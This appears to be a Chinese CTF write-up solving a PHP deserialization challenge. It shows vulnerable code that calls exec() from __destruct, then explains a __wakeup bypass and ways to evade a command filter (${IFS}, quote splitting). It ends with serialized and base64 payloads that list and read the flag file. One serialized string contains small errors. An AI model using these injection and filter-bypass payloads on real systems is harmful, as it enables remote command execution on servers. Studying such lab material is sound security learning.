题目:
<?phphighlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
我们对代码进行分析之前,首先需要了解一些序列化的知识。首先序列化本身的目的是将数据经过处理,以json的形式传输。
PHP中的序列化一般使用serialize()函数进行处理,使用unserialize()可以对序列化的字符进行解密,下面是序列化的数据。
上面使用了几种构造方法:
__construct构造方法
当使用new关键字实例化一个对象时,构造函数将会自动调用。如果构造函数有参数的话,那么在实例化的时候也需要传入对应的参数。
绕过:
反序列化的时候,类的构造函数即不会被执行。
__destruct()析构方法
析构函数只有在对象被垃圾收集器收集之前,才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特点的操作,例如关闭文件,释放结果集。
触发条件:
主动调用unset函数将指向对象的变量删除
指向对象的变量被置为空,导致对象无法引用
程序自动结束、垃圾回收机制回收
__wakeup()方法
在 unserialize()调用之前,会检查是否存在一个wakeup方法。如果存在,会先调用他,预先准备对象数据。
wakeup绕过
将需要进行反序列化的对象的序列化字符串中的成员数,大于实际成员数量。
调用wakeup方法,序列化字符串中表示对象属性个数大于真实的属性个数时,就会跳过wakeup执行。
printf绕过
Linux中的printf函数,可以将十六进制或者八进制的字符数字转化ASCII字符内容输出。
Linux中对空格过滤
Linux中的IFS变量,我们通过设置这个变量为空格、tab、回车的其中一个或者几个。我们设置其变量为空格的时候,可以绕过空格的过滤。
$()与`(反引号)
在命令中,这两个都是用来作为命令替换,例如:
$ echo today is $(date "+%Y-%m-%d"),
执行结果:
today is 2014-07-01
$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$
思路
我们需要通过序列化进行命令执行。所以我们要绕过其中的一些正则过滤
其次整个代码的意思,是可以接收post传来的ctf的值,然后对这个进行base64编码以及反序列化,我们可以控制ctf变量。
我们来研究下他的一个过滤规则,wakeup方法中,进行了正则过滤,再看destruct方法,该方法检测ping是否在method中,并且调用了名为method的方法,以数组arg的值为参数。
综合来看就是在通过$method和__construct
来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。
也就是说我们需要将我们要执行的命令,进行序列化,然后加密为base64之后传入进去
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1 {i:0;s:4:"l''s";}}
发送之后可以看到
文件下有两个文件,一个index,一个flag
我们可以ls一下flag文件,这里面的命令使用双引号单引号绕过
执行上面这段代码进行序列化之后,我们就可以获得flag文件
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
最后我们cat一下这个flag.php文件
获得flag